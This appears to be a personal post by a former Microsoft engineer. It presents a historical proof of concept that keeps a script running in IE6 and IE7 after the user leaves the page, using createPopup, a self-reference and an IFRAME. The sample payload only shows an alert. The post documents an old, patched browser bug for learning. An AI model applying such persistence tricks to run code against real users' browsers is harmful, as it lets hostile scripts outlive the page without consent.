This one surprised me — the IFRAME doesn’t actually participate in the logic, but the script only stays resident if one is present on the page. Without it, the createPopup gets cleaned up normally. The technique stores a reference to the popup’s document object inside itself, which is what makes the script persist after navigation.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<TITLE>Still another Resident SCRIPT that works on IE6 & IE7</TITLE></HEAD>
<BODY>
<FONT FACE="Tahoma" SIZE="2">
Yet another version of a residen SCRIPT. It will stay alive even if the user leaves the page. It's like a "resident" program.<BR>
You will see an alert("Hello! I am still alive") every five seconds. Click on the Google Link or change the
URL...<BR><BR>
Works on Fully patched IE6 and IE7.<BR><BR>
1) Place an IFRAME with any valid URL except blank/about:blank. We won't do anything with this IFRAME, <B>if it's not there
the resident SCRIPT won't work</B>. Crazy?<BR><BR>
2) create a createPopup and save a pointer <B>to it's document</B> inside the createPopup itself.<BR><BR>
3) Enjoy your "resident" SCRIPT.<BR><BR>
</FONT>
<IFRAME SRC="http://www.altavista.com/" WIDTH="100" HEIGHT="100"></IFRAME>
<A HREF="http://www.google.com/">Go to Google</A>
<SCRIPT LANGUAGE="JavaScript">
var myPop=createPopup().document;
myPop.body.innerHTML='.<SCRIPT DEFER>setInterval("alert(\'Hello! I am still alive\');",5000);<\/SCRIPT>';
myPop.parentWindow.myPop=myPop;
</SCRIPT>
</BODY>
</HTML>
The circular self-reference (myPop.parentWindow.myPop = myPop) keeps the popup’s document alive in memory because the garbage collector can’t determine it’s unreachable. The IFRAME pointing to a real URL (not about:blank) was a prerequisite — likely because the loading of an external page created a specific internal state that stabilized the popup’s lifetime. The exact reason is still a bit of a mystery to me.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.